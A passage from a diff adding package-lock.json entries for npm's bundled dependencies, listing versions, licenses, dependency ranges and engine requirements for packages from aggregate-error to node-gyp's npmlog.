"node_modules/npm/node_modules/aggregate-error": { + "version": "3.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/ajv": { + "version": "6.12.6", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/npm/node_modules/ansi-regex": { + "version": "2.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/ansi-styles": { + "version": "4.3.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/npm/node_modules/ansicolors": { + "version": "0.3.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/ansistyles": { + "version": "0.1.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/aproba": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/archy": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/are-we-there-yet": { + "version": "1.1.6", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "delegates": "^1.0.0", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/asap": { + "version": "2.0.6", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/asn1": { + "version": "0.2.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safer-buffer": "~2.1.0" + } + }, + "node_modules/npm/node_modules/assert-plus": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/asynckit": { + "version": "0.4.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/aws-sign2": { + "version": "0.7.0", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/aws4": { + "version": "1.11.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/balanced-match": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/bcrypt-pbkdf": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "BSD-3-Clause", + "dependencies": { + "tweetnacl": "^0.14.3" + } + }, + "node_modules/npm/node_modules/bin-links": { + "version": "2.2.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "cmd-shim": "^4.0.1", + "mkdirp": "^1.0.3", + "npm-normalize-package-bin": "^1.0.0", + "read-cmd-shim": "^2.0.0", + "rimraf": "^3.0.0", + "write-file-atomic": "^3.0.3" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/binary-extensions": { + "version": "2.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/brace-expansion": { + "version": "1.1.11", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/npm/node_modules/builtins": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/cacache": { + "version": "15.3.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/fs": "^1.0.0", + "@npmcli/move-file": "^1.0.1", + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "glob": "^7.1.4", + "infer-owner": "^1.0.4", + "lru-cache": "^6.0.0", + "minipass": "^3.1.1", + "minipass-collect": "^1.0.2", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.2", + "mkdirp": "^1.0.3", + "p-map": "^4.0.0", + "promise-inflight": "^1.0.1", + "rimraf": "^3.0.2", + "ssri": "^8.0.1", + "tar": "^6.0.2", + "unique-filename": "^1.1.1" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/npm/node_modules/caseless": { + "version": "0.12.0", + "dev": true, + "inBundle": true, + "license": "Apache-2.0" + }, + "node_modules/npm/node_modules/chalk": { + "version": "4.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/npm/node_modules/chownr": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/cidr-regex": { + "version": "3.1.1", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "ip-regex": "^4.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/clean-stack": { + "version": "2.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/cli-columns": { + "version": "3.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "string-width": "^2.0.0", + "strip-ansi": "^3.0.1" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/npm/node_modules/cli-table3": { + "version": "0.6.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "object-assign": "^4.1.0", + "string-width": "^4.2.0" + }, + "engines": { + "node": "10.* || >= 12.*" + }, + "optionalDependencies": { + "colors": "^1.1.2" + } + }, + "node_modules/npm/node_modules/cli-table3/node_modules/ansi-regex": { + "version": "5.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/cli-table3/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/cli-table3/node_modules/string-width": { + "version": "4.2.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/cli-table3/node_modules/strip-ansi": { + "version": "6.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/clone": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/cmd-shim": { + "version": "4.1.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "mkdirp-infer-owner": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/code-point-at": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/color-convert": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/npm/node_modules/color-name": { + "version": "1.1.4", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/color-support": { + "version": "1.1.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "bin": { + "color-support": "bin.js" + } + }, + "node_modules/npm/node_modules/colors": { + "version": "1.4.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/npm/node_modules/columnify": { + "version": "1.5.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "strip-ansi": "^3.0.0", + "wcwidth": "^1.0.0" + } + }, + "node_modules/npm/node_modules/combined-stream": { + "version": "1.0.8", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/npm/node_modules/common-ancestor-path": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/concat-map": { + "version": "0.0.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/console-control-strings": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/core-util-is": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/dashdash": { + "version": "1.14.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/npm/node_modules/debug": { + "version": "4.3.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/npm/node_modules/debug/node_modules/ms": { + "version": "2.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/debuglog": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/defaults": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "clone": "^1.0.2" + } + }, + "node_modules/npm/node_modules/delayed-stream": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/npm/node_modules/delegates": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/depd": { + "version": "1.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/npm/node_modules/dezalgo": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "asap": "^2.0.0", + "wrappy": "1" + } + }, + "node_modules/npm/node_modules/diff": { + "version": "5.0.0", + "dev": true, + "inBundle": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/npm/node_modules/ecc-jsbn": { + "version": "0.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, + "node_modules/npm/node_modules/emoji-regex": { + "version": "8.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/encoding": { + "version": "0.1.13", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "iconv-lite": "^0.6.2" + } + }, + "node_modules/npm/node_modules/env-paths": { + "version": "2.2.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/err-code": { + "version": "2.0.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/extend": { + "version": "3.0.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/extsprintf": { + "version": "1.3.0", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/fast-deep-equal": { + "version": "3.1.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/fastest-levenshtein": { + "version": "1.0.12", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/forever-agent": { + "version": "0.6.1", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/fs-minipass": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/npm/node_modules/fs.realpath": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/function-bind": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/gauge": { + "version": "3.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^1.0.3 || ^2.0.0", + "color-support": "^1.1.2", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.1", + "object-assign": "^4.1.1", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1 || ^2.0.0", + "strip-ansi": "^3.0.1 || ^4.0.0", + "wide-align": "^1.1.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/getpass": { + "version": "0.1.7", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0" + } + }, + "node_modules/npm/node_modules/glob": { + "version": "7.2.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/npm/node_modules/graceful-fs": { + "version": "4.2.8", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/har-schema": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/har-validator": { + "version": "5.1.5", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ajv": "^6.12.3", + "har-schema": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/has": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/npm/node_modules/has-flag": { + "version": "4.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/has-unicode": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/hosted-git-info": { + "version": "4.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/http-cache-semantics": { + "version": "4.1.0", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause" + }, + "node_modules/npm/node_modules/http-proxy-agent": { + "version": "4.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "@tootallnate/once": "1", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/npm/node_modules/http-signature": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + }, + "engines": { + "node": ">=0.8", + "npm": ">=1.3.7" + } + }, + "node_modules/npm/node_modules/https-proxy-agent": { + "version": "5.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/npm/node_modules/humanize-ms": { + "version": "1.2.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ms": "^2.0.0" + } + }, + "node_modules/npm/node_modules/iconv-lite": { + "version": "0.6.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/ignore-walk": { + "version": "3.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minimatch": "^3.0.4" + } + }, + "node_modules/npm/node_modules/imurmurhash": { + "version": "0.1.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/npm/node_modules/indent-string": { + "version": "4.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/infer-owner": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/inflight": { + "version": "1.0.6", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/npm/node_modules/inherits": { + "version": "2.0.4", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/ini": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/init-package-json": { + "version": "2.0.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "npm-package-arg": "^8.1.5", + "promzard": "^0.3.0", + "read": "~1.0.1", + "read-package-json": "^4.1.1", + "semver": "^7.3.5", + "validate-npm-package-license": "^3.0.4", + "validate-npm-package-name": "^3.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/ip": { + "version": "1.1.5", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/ip-regex": { + "version": "4.3.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/is-cidr": { + "version": "4.0.2", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "cidr-regex": "^3.1.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/is-core-module": { + "version": "2.7.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "has": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/npm/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/is-lambda": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/is-typedarray": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/isexe": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/isstream": { + "version": "0.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/jsbn": { + "version": "0.1.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/json-schema": { + "version": "0.2.3", + "dev": true, + "inBundle": true + }, + "node_modules/npm/node_modules/json-schema-traverse": { + "version": "0.4.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/json-stringify-nice": { + "version": "1.1.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/npm/node_modules/json-stringify-safe": { + "version": "5.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/jsonparse": { + "version": "1.3.1", + "dev": true, + "engines": [ + "node >= 0.2.0" + ], + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/jsprim": { + "version": "1.4.1", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.2.3", + "verror": "1.10.0" + } + }, + "node_modules/npm/node_modules/just-diff": { + "version": "3.1.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/just-diff-apply": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/libnpmaccess": { + "version": "4.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^2.0.0", + "minipass": "^3.1.1", + "npm-package-arg": "^8.1.2", + "npm-registry-fetch": "^11.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmdiff": { + "version": "2.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/disparity-colors": "^1.0.1", + "@npmcli/installed-package-contents": "^1.0.7", + "binary-extensions": "^2.2.0", + "diff": "^5.0.0", + "minimatch": "^3.0.4", + "npm-package-arg": "^8.1.4", + "pacote": "^11.3.4", + "tar": "^6.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmexec": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/arborist": "^2.3.0", + "@npmcli/ci-detect": "^1.3.0", + "@npmcli/run-script": "^1.8.4", + "chalk": "^4.1.0", + "mkdirp-infer-owner": "^2.0.0", + "npm-package-arg": "^8.1.2", + "pacote": "^11.3.1", + "proc-log": "^1.0.0", + "read": "^1.0.7", + "read-package-json-fast": "^2.0.2", + "walk-up-path": "^1.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmfund": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/arborist": "^2.5.0" + } + }, + "node_modules/npm/node_modules/libnpmhook": { + "version": "6.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^2.0.0", + "npm-registry-fetch": "^11.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmorg": { + "version": "2.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^2.0.0", + "npm-registry-fetch": "^11.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmpack": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/run-script": "^1.8.3", + "npm-package-arg": "^8.1.0", + "pacote": "^11.2.6" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmpublish": { + "version": "4.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "normalize-package-data": "^3.0.2", + "npm-package-arg": "^8.1.2", + "npm-registry-fetch": "^11.0.0", + "semver": "^7.1.3", + "ssri": "^8.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmsearch": { + "version": "3.1.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "npm-registry-fetch": "^11.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmteam": { + "version": "2.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^2.0.0", + "npm-registry-fetch": "^11.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/libnpmversion": { + "version": "1.2.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/git": "^2.0.7", + "@npmcli/run-script": "^1.8.4", + "json-parse-even-better-errors": "^2.3.1", + "semver": "^7.3.5", + "stringify-package": "^1.0.1" + } + }, + "node_modules/npm/node_modules/lru-cache": { + "version": "6.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/make-fetch-happen": { + "version": "9.1.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "agentkeepalive": "^4.1.3", + "cacache": "^15.2.0", + "http-cache-semantics": "^4.1.0", + "http-proxy-agent": "^4.0.1", + "https-proxy-agent": "^5.0.0", + "is-lambda": "^1.0.1", + "lru-cache": "^6.0.0", + "minipass": "^3.1.3", + "minipass-collect": "^1.0.2", + "minipass-fetch": "^1.3.2", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.4", + "negotiator": "^0.6.2", + "promise-retry": "^2.0.1", + "socks-proxy-agent": "^6.0.0", + "ssri": "^8.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/npm/node_modules/mime-db": { + "version": "1.49.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/npm/node_modules/mime-types": { + "version": "2.1.32", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "mime-db": "1.49.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/npm/node_modules/minimatch": { + "version": "3.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/minipass": { + "version": "3.1.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/minipass-collect": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/npm/node_modules/minipass-fetch": { + "version": "1.4.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "minipass": "^3.1.0", + "minipass-sized": "^1.0.3", + "minizlib": "^2.0.0" + }, + "engines": { + "node": ">=8" + }, + "optionalDependencies": { + "encoding": "^0.1.12" + } + }, + "node_modules/npm/node_modules/minipass-flush": { + "version": "1.0.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/npm/node_modules/minipass-json-stream": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "jsonparse": "^1.3.1", + "minipass": "^3.0.0" + } + }, + "node_modules/npm/node_modules/minipass-pipeline": { + "version": "1.2.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/minipass-sized": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/minizlib": { + "version": "2.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "minipass": "^3.0.0", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/npm/node_modules/mkdirp": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/mkdirp-infer-owner": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "chownr": "^2.0.0", + "infer-owner": "^1.0.4", + "mkdirp": "^1.0.3" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/ms": { + "version": "2.1.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/mute-stream": { + "version": "0.0.8", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/negotiator": { + "version": "0.6.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/npm/node_modules/node-gyp": { + "version": "7.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "env-paths": "^2.2.0", + "glob": "^7.1.4", + "graceful-fs": "^4.2.3", + "nopt": "^5.0.0", + "npmlog": "^4.1.2", + "request": "^2.88.2", + "rimraf": "^3.0.2", + "semver": "^7.3.2", + "tar": "^6.0.2", + "which": "^2.0.2" + }, + "bin": { + "node-gyp": "bin/node-gyp.js" + }, + "engines": { + "node": ">= 10.12.0" + } + }, + "node_modules/npm/node_modules/node-gyp/node_modules/aproba": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/node-gyp/node_modules/gauge": { + "version": "2.7.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" + } + }, + "node_modules/npm/node_modules/node-gyp/node_modules/is-fullwidth-code-point": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "number-is-nan": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/node-gyp/node_modules/npmlog": { + "version": "4.1.2", + "dev": true, + "inBundle": true, + "license": "ISC", 